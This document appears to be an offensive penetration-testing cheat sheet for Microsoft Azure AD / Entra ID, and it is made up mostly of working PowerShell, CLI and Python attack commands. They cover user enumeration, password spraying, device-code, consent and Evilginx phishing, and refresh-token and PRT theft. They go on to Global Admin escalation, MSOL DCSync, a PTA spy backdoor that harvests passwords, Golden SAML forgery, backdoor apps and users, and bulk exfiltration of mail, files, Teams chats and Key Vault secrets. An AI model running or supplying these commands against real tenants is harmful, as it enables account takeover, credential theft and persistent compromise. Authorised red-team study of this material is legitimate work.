Azure AD / Entra ID
Penetration Testing

What is Azure AD / Entra ID?

Azure Active Directory (now rebranded as Microsoft Entra ID) is Microsoft's cloud-based identity and access management service. It is the authentication backbone for every Microsoft cloud product — Microsoft 365, Azure, Teams, SharePoint, Intune, and any third-party SaaS app that uses "Sign in with Microsoft." Almost every enterprise runs it, which makes it the single most impactful identity attack surface in corporate environments.

Unlike traditional on-premises Active Directory which manages machines and users inside a corporate network, Azure AD manages cloud identities and delegates access to cloud resources through tokens. Understanding its components is essential before you can attack it effectively.

The Token Model — How Auth Actually Works

Every Azure AD attack ultimately targets tokens. When a user authenticates, Azure AD issues a hierarchy of tokens. Understanding this hierarchy tells you exactly what to steal and why each token is valuable.

Tools & Environment Setup

Get your attack environment ready before the engagement. Each tool below serves a distinct purpose. You don't need every one for every engagement — learn what each does so you can reach for the right one.

PowerShell Modules

# AADInternals — deepest Azure AD attack toolkit (recon, token ops, sync abuse, PTA spy)
Install-Module AADInternals -Scope CurrentUser -Force

# Az PowerShell — official Azure resource management
Install-Module Az -Scope CurrentUser -Force

# AzureAD — legacy but still needed for some enumeration
Install-Module AzureAD -Scope CurrentUser -Force

# Hawk — Microsoft 365 threat hunting / attack logging
Install-Module Hawk -Scope CurrentUser -Force

Python & CLI Tools

# Azure CLI (primary management interface)
winget install Microsoft.AzureCLI          # Windows
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash  # Debian/Ubuntu

# ROADtools — recon, token exchange, PRT ops, device enrollment
pip install roadtools roadtx

# o365creeper — unauthenticated user enumeration
git clone https://github.com/LMGsec/o365creeper
pip install requests

# GraphSpy — interactive Graph API browser (post-auth)
git clone https://github.com/RedByte1337/GraphSpy
pip install -r GraphSpy/requirements.txt

# ScoutSuite — cloud misconfiguration audit
pip install scoutsuite

Binaries

# AzureHound — BloodHound collector for Azure AD
# Download: https://github.com/BloodHoundAD/AzureHound/releases
chmod +x azurehound && ./azurehound --help

# Evilginx2 — AiTM reverse proxy phishing
# Download: https://github.com/kgretzky/evilginx2/releases
chmod +x evilginx2

# MSOLSpray (PowerShell)
git clone https://github.com/dafthack/MSOLSpray

Reconnaissance (No Credentials Required)

Tenant Enumeration — Who Are We Targeting?

Every Azure AD organization is a tenant with a unique ID and one or more verified domain names. Before anything else, we identify the tenant to understand its size, federation type, and authentication setup. A Federated tenant uses ADFS or Pass-Through Authentication — meaning passwords are validated on-prem. A Managed tenant uses cloud-only password hashes. This matters for which attacks you can use.

# Full passive recon — tenant ID, domains, MDI, federation, Intune state
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Returns: TenantID, TenantBrand, AuthUrl, MDI, HasCloudMX, CloudMXRecord...

# Get tenant ID manually (no tools needed)
$oidc = Invoke-RestMethod "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
$tenantId = ($oidc.issuer -replace "https://login.microsoftonline.com/","").TrimEnd("/")
Write-Host "Tenant ID: $tenantId"

# Is this tenant Managed (cloud PW) or Federated (ADFS/PTA)?
$realm = Invoke-RestMethod "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.1"
$realm | Select NameSpaceType, CloudInstanceName, FederationBrandName, AuthURL
# NameSpaceType = "Managed" → PHS  |  "Federated" → ADFS or PTA

# All verified domains in the tenant
Get-AADIntTenantDomains -Domain "target.com"

User Enumeration — Who Can We Spray?

Microsoft exposes an unauthenticated endpoint (GetCredentialType) that confirms whether an email address is a valid Azure AD account. This generates zero authentication events in sign-in logs — it's completely invisible to defenders. Use it to build a valid target list before any password spray.

# Single user check — returns Exists: True/False
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"

# Bulk — validate a whole list silently
Get-Content .\usernames.txt | ForEach-Object {
    $r = Invoke-AADIntUserEnumerationAsOutsider -UserName $_
    if ($r.Exists) { Write-Host "[VALID] $_" -ForegroundColor Green }
}

# Raw HTTP — no tools required
$body = '{"username":"user@target.com"}'
$r = Invoke-RestMethod "https://login.microsoftonline.com/common/GetCredentialType" -Method POST -Body $body -ContentType "application/json"
# IfExistsResult: 0=exists, 1=doesn't exist, 5=exists (different tenant), 6=no password set

# Python — o365creeper (faster for large lists)
python o365creeper.py -f emails.txt -o valid_emails.txt

Azure Service Discovery

# Enumerate Azure subdomains — finds exposed storage, web apps, SQL, etc.
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
Invoke-EnumerateAzureBlobs -Base "targetcompany" -OutputFile blobs.txt

# DNS patterns to check manually
$base = "targetcompany"
@(".blob.core.windows.net",".azurewebsites.net",".vault.azure.net",
  ".database.windows.net",".azurefd.net",".servicebus.windows.net") | ForEach-Object {
    Resolve-DnsName "$base$_" -ErrorAction SilentlyContinue | Select-Object Name, IPAddress
}

Initial Access

Password Spraying

# MSOLSpray — sprays via legacy MSOL endpoint
Import-Module .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\valid_users.txt -Password "Winter2026!" -Verbose

# roadtx spray — modern auth endpoint (bypasses some legacy-auth blocks)
roadtx spray -U users.txt -p "Welcome2026!" --sleep 1800   # 30-min delay between rounds

# Manual spray — modern auth, watch suberror codes
$tenantId = ""
foreach ($user in Get-Content .\users.txt) {
    $body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="password"; scope="https://graph.microsoft.com/.default"; username=$user; password="Winter2026!" }
    try {
        $t = Invoke-RestMethod "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
        Write-Host "[HIT] $user" -ForegroundColor Green
    } catch {
        $e = ($_.ErrorDetails.Message | ConvertFrom-Json).suberror
        if ($e -eq "consent_required") { Write-Host "[MFA/VALID] $user" -ForegroundColor Yellow }
        # consent_required = valid creds but MFA required → still valuable info
    }
    Start-Sleep 5
}

Device Code Phishing

# Step 1: Generate device code (run as attacker)
$body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; scope="https://graph.microsoft.com/.default offline_access" }
$dc = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Method POST -Body $body
Write-Host "Send to victim: $($dc.message)"    # includes the user_code

# Step 2: Poll for token while victim authenticates
$poll = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="urn:ietf:params:oauth:grant-type:device_code"; device_code=$dc.device_code }
do {
    Start-Sleep 5
    try { $token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $poll; break }
    catch {}
} while ($true)
$token | ConvertTo-Json | Out-File token.json
Write-Host "Got token for: $(([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($token.access_token.Split('.')[1] + '=='))) | ConvertFrom-Json).unique_name)"

# Automated with roadtx
roadtx device -c d3590ed6-52b3-4102-aeff-aad2292ab01c -r https://graph.microsoft.com

App Consent Phishing

# 1. Register app in YOUR Azure tenant → add permissions (no admin consent yet)
# 2. Craft consent URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
  ?client_id=YOUR_APP_ID
  &response_type=code
  &redirect_uri=https://your-callback.com/recv
  &scope=https://graph.microsoft.com/Mail.ReadWrite
        https://graph.microsoft.com/Files.ReadWrite.All
        offline_access openid

# 3. Victim clicks → grants consent → you receive auth_code at redirect_uri
# 4. Exchange code for tokens:
$body = @{ client_id="YOUR_APP_ID"; client_secret="YOUR_SECRET"; code="AUTH_CODE"; grant_type="authorization_code"; redirect_uri="https://your-callback.com/recv" }
$token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body
# refresh_token survives password resets — persistent access

AiTM Phishing (Evilginx2)

./evilginx2 -p ./phishlets/ -developer
config domain login-secure-corp.com
config ipv4 YOUR_SERVER_IP
phishlets hostname o365 login.login-secure-corp.com
phishlets enable o365
lures create o365 && lures get-url 0
# Share lure URL in phishing email
# After victim authenticates:
sessions        # View captured sessions
sessions 1      # Get tokens + cookies

Enumeration with Credentials / Token

Azure CLI — Fast Enumeration

az login   # or: az login -u user@target.com -p 'Password123!'
az account show && az account list --output table
az account set --subscription SUBSCRIPTION_ID

# Users, groups, apps
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,Enabled:accountEnabled,OnPrem:onPremisesSyncEnabled}" --output table
az ad group list --output table
az ad group member list --group "Global Administrators"
az ad app list --output table
az ad sp list --query "[].{Name:displayName,AppId:appId}" --output table

# RBAC — most important for PrivEsc
az role assignment list --all --query "[].{Role:roleDefinitionName,Principal:principalName,Scope:scope}" --output table

# Resources
az resource list --query "[].{Name:name,Type:type,RG:resourceGroup}" --output table
az keyvault list && az vm list --output table

Graph API — Deep Enumeration

# Get Graph token
$token = az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
$h = @{ Authorization="Bearer $token" }

# All directory roles and who is in them (CRITICAL — run this first)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles?`$expand=members" -Headers $h).value | Where-Object { $_.members.Count -gt 0 } | ForEach-Object {
    Write-Host "`n[ROLE] $($_.displayName)" -ForegroundColor Cyan
    $_.members | ForEach-Object { Write-Host "  └ $($_.userPrincipalName ?? $_.displayName) [$($_.{'@odata.type'})]" }
}

# Service principals with dangerous app role assignments
$dangerPerms = @("9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8","1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9","741f803b-c850-494e-b5df-cde7c675a1ca")
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
    $sp = $_
    (Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -in $dangerPerms } | ForEach-Object {
        Write-Host "[HIGH VALUE SP] $($sp.displayName)" -ForegroundColor Red
    }
}

# Conditional Access policies — understand what we need to bypass
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Select displayName,state | Format-Table

AzureHound — BloodHound for Azure

# Collect all Azure AD + RBAC data
./azurehound -u user@target.com -p "Password123!" list --tenant target.onmicrosoft.com -o azhound.json

# With service principal
./azurehound -t TENANT_ID --app-id APP_ID --app-secret SECRET list -o out.json

# Upload to BloodHound → use pre-built Azure attack queries
# Key query: Find shortest path to Global Administrator role

Token Attacks

Stealing Tokens from Disk

# Az CLI token cache location (Windows)
$cache = Get-Content "$env:USERPROFILE\.azure\msal_token_cache.json" | ConvertFrom-Json

# Extract refresh tokens
$cache.RefreshToken.PSObject.Properties.Value | ForEach-Object {
    Write-Host "Account: $($_.home_account_id)"
    Write-Host "Token:   $($_.secret.Substring(0,40))..."
}

# Linux/macOS
cat ~/.azure/msal_token_cache.json | python3 -c "
import sys,json
d=json.load(sys.stdin)
for v in d.get('RefreshToken',{}).values():
    print(v.get('home_account_id','?'), v['secret'][:60])
"

FOCI — Family of Client IDs

# Exchange a stolen Office refresh token for an Azure CLI management token
$body = @{
    client_id     = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"   # Azure CLI (FOCI member)
    grant_type    = "refresh_token"
    refresh_token = $stolenRefreshToken
    scope         = "https://management.azure.com/.default"
}
$mgmtToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body

# Get Graph token from same stolen refresh token (different scope)
$body.scope = "https://graph.microsoft.com/.default"
$graphToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body

# roadtx makes FOCI exchange one command
roadtx gettokens --refresh-token STOLEN_RT -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://management.azure.com/

PRT (Primary Refresh Token) Abuse

# PRTs live in LSASS memory (CloudAP SSP) → requires SYSTEM or local admin

# Method 1: Mimikatz cloudap (requires SYSTEM)
# privilege::debug
# sekurlsa::cloudap        → dumps PRT + encrypted session key

# Method 2: ROADtoken (userland, local admin)
.\ROADtoken.exe /bprt     # Dumps Bootstrap PRT from CloudAP

# Method 3: Steal SSO cookie from browser (no tools)
# In Chrome/Edge → DevTools → Application → Cookies → login.microsoftonline.com
# Copy cookie: x-ms-RefreshTokenCredential → this IS the PRT cookie

# Use PRT to get Graph token (AADInternals)
$prtToken = New-AADIntUserPRTToken -RefreshToken $prt -SessionKey $sessionKey -GetNonce
$accessToken = Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

# Replay PRT via browser cookie (no tools — works against CAE too)
# Add cookie name=x-ms-RefreshTokenCredential to login.microsoftonline.com in DevTools
# Navigate to any Microsoft 365 app → instantly authenticated as victim

Privilege Escalation

Azure AD Role Abuse

# Find all members of high-value roles
Import-Module AADInternals
$highRoles = @("Global Administrator","Privileged Role Administrator","Application Administrator",
    "Cloud Application Administrator","Authentication Administrator","Hybrid Identity Administrator")
$highRoles | ForEach-Object {
    $members = Get-AADIntAzureADRoleMembers -RoleName $_
    if ($members) { Write-Host "[ROLE] $_ ($($members.Count) members)" -ForegroundColor Cyan; $members | Select UserPrincipalName }
}

# Assign Global Admin to your account (requires Privileged Role Admin)
$ref = @{ "@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/YOUR_USER_OBJECT_ID" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -Body $ref -ContentType "application/json"

Service Principal Permission Abuse

# A service principal with RoleManagement.ReadWrite.Directory can make itself Global Admin
# First: find SPs with this permission
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
    $sp = $_
    (Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -eq "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" } | ForEach-Object {
        Write-Host "[JACKPOT] $($sp.displayName) has RoleManagement.ReadWrite.Directory" -ForegroundColor Red
    }
}

# If you control such an SP → get its token → assign yourself Global Admin
$spToken = (Invoke-RestMethod "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" -Method POST -Body @{client_id=SP_APPID;client_secret=SP_SECRET;grant_type="client_credentials";scope="https://graph.microsoft.com/.default"}).access_token
$spH = @{ Authorization="Bearer $spToken"; "Content-Type"="application/json" }
$roleBody = @{ "@odata.type"="#microsoft.graph.unifiedRoleAssignment"; roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"; principalId="YOUR_USER_ID"; directoryScopeId="/" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Method POST -Headers $spH -Body $roleBody

Managed Identity from Inside a VM

# From inside an Azure VM, Function, or Container — no credentials needed
$imds = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource="

# Get Azure management token
$mgmtToken = (Invoke-RestMethod "$($imds)https://management.azure.com/" -Headers @{Metadata="true"}).access_token

# Get Graph token
$graphToken = (Invoke-RestMethod "$($imds)https://graph.microsoft.com/" -Headers @{Metadata="true"}).access_token

# Check what subscriptions this identity can reach
Invoke-RestMethod "https://management.azure.com/subscriptions?api-version=2021-04-01" -Headers @{Authorization="Bearer $mgmtToken"}

# If Contributor → escalate to Owner by assigning yourself User Access Administrator
New-AzRoleAssignment -SignInName attacker@target.com -RoleDefinitionName "Owner" -Scope "/subscriptions/SUB_ID"

Hybrid Environment Attacks

Azure AD Connect — MSOL Account DCSync

# Step 1: Find the MSOL sync account
Get-ADUser -Filter { SamAccountName -like "MSOL_*" -or SamAccountName -like "AADConnect_*" } -Properties Description | Select SamAccountName, Description

# Step 2: Decrypt credentials from ADSync database (requires local admin on AAD Connect server)
Import-Module AADInternals
$creds = Get-AADIntSyncCredentials    # Returns plaintext username + password!
Write-Host "Account:  $($creds.Username)"
Write-Host "Password: $($creds.Password)"

# Step 3: DCSync with MSOL_ account (from any domain-joined machine)
# Impacket (Linux)
python3 secretsdump.py DOMAIN/MSOL_xxxxxxxx:'PlaintextPassword'@DC01.domain.local -just-dc-ntlm

# Or via Mimikatz with runas
runas /netonly /user:DOMAIN\MSOL_xxxxxxxx powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

# Bonus — reset any Azure AD user's password via sync account (no on-prem change!)
$syncToken = Get-AADIntAccessTokenForAADGraph -Credentials (New-Object PSCredential($creds.Username,($creds.Password|ConvertTo-SecureString -AsPlainText -Force))) -SaveToCache
Set-AADIntUserPassword -SourceAnchor "USER_IMMUTABLE_ID" -Password "NewP@ss2026!" -AccessToken $syncToken

Pass-Through Authentication Backdoor

# Register a rogue PTA Agent (requires Global Admin token)
Import-Module AADInternals
Install-AADIntPTASpy -AccessToken $globalAdminToken

# Mode 1: Log all credentials being authenticated
Start-AADIntPTASpy
Get-AADIntPTASpyLog | Format-Table TimeStamp, UserName, Password

# Mode 2: Accept ANY password for ANY user
Set-AADIntPTASpyMode -Mode AcceptAll    # Master key for entire tenant

Golden SAML (ADFS Environments)

# Export ADFS signing certificate (admin on ADFS server)
Export-AADIntADFSSigningCertificate -Filename adfs-signing.pfx

# Forge a SAML token as Global Admin (Python — ADFSpoof)
python ADFSpoof.py -b adfs-signing.pfx "pfx_password" --server sts.target.com -l target.com -u globaladmin@target.com -r urn:federation:MicrosoftOnline

# Use the forged token to get Azure AD access (AADInternals)
Import-AADIntSAMLToken -Token "BASE64_SAML_TOKEN" -SaveToCache

Persistence

Add Credentials to Existing Service Principal

# Add a secret to a high-privilege SP you control (or can compromise)
$secretBody = @{ passwordCredential=@{ displayName="Maintenance-$(Get-Date -Format 'yyyyMM')"; endDateTime=(Get-Date).AddYears(2).ToString("yyyy-MM-ddTHH:mm:ssZ") } } | ConvertTo-Json -Depth 3
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/addPassword" -Method POST -Headers $h -Body $secretBody -ContentType "application/json"

# Connect later with no trace back to your account
Connect-AzAccount -ServicePrincipal -Credential (New-Object PSCredential("SP_APP_ID",("$($secret.secretText)"|ConvertTo-SecureString -AsPlainText -Force))) -Tenant TENANT_ID

Backdoor App Registration (Persistent High-Privilege Access)

# Create app with RoleManagement.ReadWrite.Directory + Application.ReadWrite.All
$app = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications" -Method POST -Headers $h -ContentType "application/json" -Body (@{
    displayName="Microsoft Identity Monitoring"; signInAudience="AzureADMyOrg"
    requiredResourceAccess=@(@{ resourceAppId="00000003-0000-0000-c000-000000000000"
        resourceAccess=@(@{id="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8";type="Role"},@{id="1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9";type="Role"}) })
} | ConvertTo-Json -Depth 6)

$sp     = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals" -Method POST -Headers $h -Body (@{appId=$app.appId}|ConvertTo-Json) -ContentType "application/json"
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications/$($app.id)/addPassword" -Method POST -Headers $h -Body '{"passwordCredential":{"displayName":"main","endDateTime":"2028-01-01T00:00:00Z"}}' -ContentType "application/json"
Write-Host "AppId: $($app.appId) | Secret: $($secret.secretText)"
# Grant admin consent while you still have GA → this SP can now create Global Admins

Backdoor User + Role Assignment

# Create a hidden admin user
$u = Invoke-RestMethod "https://graph.microsoft.com/v1.0/users" -Method POST -Headers $h -ContentType "application/json" -Body (@{
    accountEnabled=$true; displayName="Azure Support"; mailNickname="azuresupport"
    userPrincipalName="azuresupport@target.onmicrosoft.com"
    passwordProfile=@{ forceChangePasswordNextSignIn=$false; password="Supp0rt@2026!" }
} | ConvertTo-Json)

# Assign Global Admin
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -ContentType "application/json" -Body (@{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/$($u.id)"}|ConvertTo-Json)

Exfiltration via Microsoft Graph

$h = @{ Authorization="Bearer $graphToken" }

# Read user emails — search for credentials
Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/messages?`$search=`"password OR secret OR credential`"&`$select=subject,from,body" -Headers $h

# Download OneDrive files matching a keyword
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/drive/root/search(q='password')" -Headers $h).value | ForEach-Object {
    Invoke-WebRequest -Uri $_.'@microsoft.graph.downloadUrl' -OutFile ".\loot\$($_.name)"
}

# Read Teams messages
$chats = (Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/chats" -Headers $h).value
$chats | ForEach-Object { (Invoke-RestMethod "https://graph.microsoft.com/v1.0/chats/$($_.id)/messages?`$top=50" -Headers $h).value | Select createdDateTime,@{N="From";E={$_.from.user.displayName}},@{N="Msg";E={$_.body.content -replace "<[^>]+>",""}} }

# Key Vault — from Managed Identity inside VM
$kvToken = (Invoke-RestMethod "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -Headers @{Metadata="true"}).access_token
(Invoke-RestMethod "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}).value | ForEach-Object {
    $s = Invoke-RestMethod "$($_.id)?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}
    Write-Host "$($_.id.Split('/')[-1]): $($s.value)"
}

Conditional Access Bypass

# Enumerate CA policies (requires Security Reader or higher)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Where-Object {$_.state -eq "enabled"} | Select displayName,state | Format-Table

# Check trusted named locations (IPs that bypass MFA)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" -Headers $h).value | Where-Object {$_.isTrusted} | ForEach-Object {
    Write-Host "Trusted: $($_.displayName)"; $_.ipRanges | Select -Expand cidrAddress
}

Key Microsoft Graph Endpoints

All endpoints are prefixed with https://graph.microsoft.com/v1.0. Requires a valid Bearer token.

Dangerous Graph Permissions (Application-Level)

Permission ID                          Name                               Impact
9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8  RoleManagement.ReadWrite.Directory  Assign Global Admin
1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9  Application.ReadWrite.All            Control all apps/SPs
741f803b-c850-494e-b5df-cde7c675a1ca  User.ReadWrite.All                   Reset any user's password
62a82d76-70ea-41e2-9197-370581804d09  Group.ReadWrite.All                  Modify all groups
dc50a0fb-09a3-484d-be87-e023b12c6440  Mail.ReadWrite                       Read/send all email
9492366f-7969-46a4-8d15-ed1a20078fff  Sites.ReadWrite.All                  Full SharePoint access

MITRE ATT&CK for Enterprise

Tools Reference